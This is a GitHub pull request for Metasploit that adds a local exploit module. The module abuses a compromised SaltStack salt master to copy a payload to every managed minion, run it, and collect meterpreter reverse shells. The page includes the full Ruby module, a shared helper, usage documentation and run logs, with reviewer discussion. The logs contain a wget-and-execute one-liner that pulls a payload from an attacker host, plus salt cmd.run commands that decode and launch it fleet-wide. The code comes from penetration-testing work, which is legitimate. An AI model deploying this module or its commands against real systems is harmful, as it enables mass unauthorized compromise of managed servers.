Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Saltstack salt minion deployer #18626

Merged
merged 10 commits into from
Jan 23, 2024
Merged
Show file tree
Hide file tree
Changes from 6 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,121 @@
## Vulnerable Application

This exploit module uses saltstack salt to deploy a payload and run it
on all targets which have been selected (default all).
Currently only works against nix targets.

## Verification Steps

1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use exploit/linux/local/saltstack_salt_minion_deployer`
1. Do: `set session [#]`
1. Do: `run`
1. You should get sessions on all the targeted hosts

## Options

### SALT

Location of salt-master executable if not in a standard location. This is added to a list of default locations
which includes `/usr/bin/salt-master`. Defaults to ``

### MINIONS

Which minions to target. Defaults to `*`

## WritableDir

A directory on the compromised host we can write our payload to. Defaults to `/tmp`

## TargetWritableDir

A directory on the target hosts we can write and execute our payload to. Defaults to `/tmp`

## CALCULATE

This will calculate how many hosts may be exploitable by using Ansible's ping command.

### ListenerTimeout

How many seconds to wait after executing the payload for hosts to call back. Defaults to `60`

## Scenarios

### Minion 3002.2 on Ubuntu 20.04

Get initial access to the system. In this case, root was required to execute salt commands successfully.

```
resource (salt_deploy.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (salt_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (salt_deploy.rb)> set srvport 8181
srvport => 8181
resource (salt_deploy.rb)> set target 7
target => 7
resource (salt_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (salt_deploy.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8181/hvy2Ol
[*] Server started.
[*] Run the following command on the target machine:
wget -qO exVJILEV --no-check-certificate http://1.1.1.1:8181/hvy2Ol; chmod +x exVJILEV; ./exVJILEV& disown
[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 3.3.3.3
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 3.3.3.3:45200) at 2023-12-16 09:59:02 -0500
```

```
resource (salt_deploy.rb)> use exploit/linux/local/saltstack_salt_minion_deployer
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
resource (salt_deploy.rb)> set session 1
session => 1
resource (salt_deploy.rb)> set verbose true
verbose => true
resource (salt_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (salt_deploy.rb)> set lport 9996
lport => 9996
[msf](Jobs:1 Agents:0) exploit(linux/local/saltstack_salt_minion_deployer) >

[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) >
[*] Started reverse TCP handler on 1.1.1.1:9996
[*] Running automatic check ("set AutoCheck false" to disable)
[+] /tmp is writable, and salt-master executable found
[+] The target is vulnerable.
[*] Attempting to list minions
[*] minions:
- mac_minion
- salt-minion
- window-salt-minion
minions_denied: []
minions_pre: []
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What's a minions_pre ?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

not sure, thats a salt specific term. I believe it means they're in a pending to be accepted state.

minions_rejected: []
[+] 3.3.3.3:45200 - minion file successfully retrieved and saved to /root/.msf4/loot/20231216100004_default_3.3.3.3_saltstack_minion_890818.yaml
[+] Minions List
============

Status Minion Name
------ -----------
Accepted mac_minion
Accepted salt-minion
Accepted window-salt-minion

[+] 3 minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.
[*] Writing '/tmp/E76Azw' (336 bytes) ...
[*] Copying payload to minions

[*] Executing payloads
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:9996 -> 2.2.2.2:36850) at 2023-12-16 10:00:46 -0500
```
33 changes: 33 additions & 0 deletions lib/msf/core/exploit/local/saltstack.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
require 'yaml'

module Msf
module Exploit::Local::Saltstack
#
# lists minions using the salt-key command.
#
# @param salt_key_exe [String] The name location of the salt-key executable
# @return [YAML] YAML document with the minions listed
#
def list_minions(salt_key_exe = 'salt-key')
# pull minions from a master, returns hash of lists of the output
print_status('Attempting to list minions')
unless command_exists?(salt_key_exe)
print_error('salt-key not present on system')
return
end

begin
out = cmd_exec(salt_key_exe, '-L --output=yaml', datastore['TIMEOUT'])
vprint_status(out)
minions = YAML.safe_load(out)
rescue Psych::SyntaxError
print_error('Unable to load salt-key -L data')
return
end

store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list')
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
minions
end
end
end
137 changes: 137 additions & 0 deletions modules/exploits/linux/local/saltstack_salt_minion_deployer.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,137 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Saltstack

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Saltstack Minion Payload Deployer',
'Description' => %q{
This exploit module uses saltstack salt to deploy a payload and run it
on all targets which have been selected (default all).
Currently only works against nix targets.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'c2Vlcgo'
],
'Platform' => [ 'linux', 'unix' ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

One can install the SaltMaster on windows too.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yup, It could be a target and host, as well as OSX. I was trying not to overly complicate this PR by making it work on and against everything the software does. From what I've seen "in the wild" it's always been linux on linux, however I'm sure thats a limited scope.

A follow-on PR can expand the scope out. In theory that was trivial until the base64 requirement. Still easy, but not trivial.

'Stance' => Msf::Exploit::Stance::Passive,
'Arch' => [ ARCH_X86, ARCH_X64 ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Aren't all arch supported?

'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [],
'DisclosureDate' => '2011-03-19', # saltstack salt original release date
'DefaultTarget' => 0,
'Passive' => true, # this allows us to get multiple shells calling home
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('SALT', [true, 'salt-master executable location', '/usr/bin/salt-master']),
OptString.new('MINIONS', [true, 'Minions Target', '*']),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('TargetWritableDir', [ true, 'A directory where we can write and execute files on targets', '/tmp' ]),
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]),
OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run in seconds', 120])
]
end

def salt_master
return @salt if @salt

[datastore['SALT'], '/usr/bin/salt-master'].each do |exec|
next unless executable?(exec)

@salt = exec
end
h00die marked this conversation as resolved.
Show resolved Hide resolved
@salt
end

def list_minions_printer
minions = list_minions
return if minions.nil?

tbl = Rex::Text::Table.new(
'Header' => 'Minions List',
'Indent' => 1,
'Columns' => ['Status', 'Minion Name']
)

count = 0
minions['minions'].each do |minion|
tbl << ['Accepted', minion]
count += 1
end

print_good(tbl.to_s)

# https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for explaining the Rex.sleep(10) with a comment. I agree this is a good idea to inform the user of how many call backs are imminent.

However, I would have half expected all hell breaking loose and returning 1000 shells to be somewhat desirable as a part of the slayer raining shells series.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I agree, but with that volume of shells you can start running into issues with bandwidth etc. I know we've had so many ssh_login sessions before that Linux started complaining about not wanting to open more files. So its just a heads up, not a breaker. only the strong survive the raining of shells 🤣

print_good("#{count} minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")
Rex.sleep(10)
end

def check
return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil?

CheckCode::Vulnerable('salt-master executable found')
end

def exploit
# Make sure we can write our exploit and payload to the local system
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
list_minions_printer if datastore['CALCULATE']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If no minions are found connected to the master, we still attempt to deploy the payload from the master, which I don't think is desirable behaviour:

msf6 exploit(linux/local/saltstack_salt_minion_deployer) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.78:3333
[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > [+] The target is vulnerable. salt-master executable found
[*] Attempting to list minions
[+] 192.168.1.78:55323 - minion file successfully retrieved and saved to /Users/jheysel/.msf4/loot/20240108125551_default_127.0.0.1_saltstack_minion_828135.yaml
[+] Minions List
============

 Status  Minion Name
 ------  -----------

[+] 0 minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.
[*] Writing '/tmp/CzH5Yb' (336 bytes) ...
[*] Copying payload to minions
[*] salt-cp '*' '/tmp/CzH5Yb' '/tmp/CzH5Yb.b64'
[*] Copy command output: No minions matched the target. No command was sent, no jid was assigned.
[*] Executing payloads
[*] salt '*' cmd.run 'base64 -d /tmp/CzH5Yb.b64 > /tmp/CzH5Yb && chmod 755 /tmp/CzH5Yb && /tmp/CzH5Yb'
[*] Execute command output: ERROR: No return received
No minions matched the target. No command was sent, no jid was assigned.
[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died
Interrupt: use the 'exit' command to quit
msf6 exploit(linux/local/saltstack_salt_minion_deployer) >

Should we maybe be running list_minions regardless and bailing if there are none found? Currently list_minions only gets called from list_minions_printer if datastore['CALCULATE'] is set.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't like the idea of forcing this to run, it can be noisy and potentially take time that the user doesn't want to devote. However, I do like the idea of bailing on no targets.

I've opted to default to running, but if we do a count and its 0, then bail.

[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > 
[*] Started reverse TCP handler on 1.1.1.1:1111 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. salt-master executable found
[*] Attempting to list minions
[*] minions: []
minions_denied: []
minions_pre: []
minions_rejected: []
[+] 172.25.0.2:47984 - minion file successfully retrieved and saved to /root/.msf4/loot/20240110170232_default_172.25.0.2_saltstack_minion_464932.yaml
[+] Minions List
============

 Status  Minion Name
 ------  -----------

[+] 0 minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.
[-] Exploit aborted due to failure: not-found: No exploitable minions found.


payload_name = rand_text_alphanumeric(5..10)

# due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", Rex::Text.encode_base64(generate_payload_exe)

print_status('Copying payload to minions')
cmd_exec("salt-cp '#{datastore['MINIONS']}' '#{datastore['WritableDir']}/#{payload_name}' '#{datastore['TargetWritableDir']}/#{payload_name}.b64'")
print_status('Executing payloads')
cmd_exec("salt '#{datastore['MINIONS']}' cmd.run 'base64 -d #{datastore['TargetWritableDir']}/#{payload_name}.b64 > #{datastore['TargetWritableDir']}/#{payload_name} && chmod 755 #{datastore['TargetWritableDir']}/#{payload_name} && #{datastore['TargetWritableDir']}/#{payload_name}'")

# stolen from exploit/multi/handler
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why are we breaking conditionally on a positive, nonzero timeout? Are we expecting a 0 or negative timeout? We're not decrementing it that I see?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is 100% taken from exploit/multi/handler. Looks like in that module the default is 0 to wait forever.


Rex::ThreadSafe.sleep(1)
end
end

def on_new_session(_session)
super
cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi')
h00die marked this conversation as resolved.
Show resolved Hide resolved

begin
print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}")
cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}")
print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed")
rescue StandardError
print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}")
end
end

end
25 changes: 6 additions & 19 deletions modules/post/multi/gather/saltstack_salt.rb
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@

class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Exploit::Local::Saltstack

def initialize(info = {})
super(
Expand Down Expand Up @@ -138,31 +139,17 @@ def gather_minion_data
end
end

def list_minions
# pull minions from a master
print_status('Attempting to list minions')
unless command_exists?('salt-key')
print_error('salt-key not present on system')
return
end
begin
out = cmd_exec('salt-key', '-L --output=yaml', datastore['TIMEOUT'])
vprint_status(out)
minions = YAML.safe_load(out)
rescue Psych::SyntaxError
print_error('Unable to load salt-key -L data')
return
end
def list_minions_printer
minions = list_minions
return if minions.nil?

tbl = Rex::Text::Table.new(
'Header' => 'Minions List',
'Indent' => 1,
'Columns' => ['Status', 'Minion Name']
)

store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list')
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
minions['minions'].each do |minion|
minions.each do |minion|
tbl << ['Accepted', minion]
end
minions['minions_pre'].each do |minion|
Expand Down Expand Up @@ -198,7 +185,7 @@ def minion
end

def master
list_minions
list_minions_printer
gather_minion_data if datastore['GETOS'] || datastore['GETHOSTNAME'] || datastore['GETIP']

# get sls files
Expand Down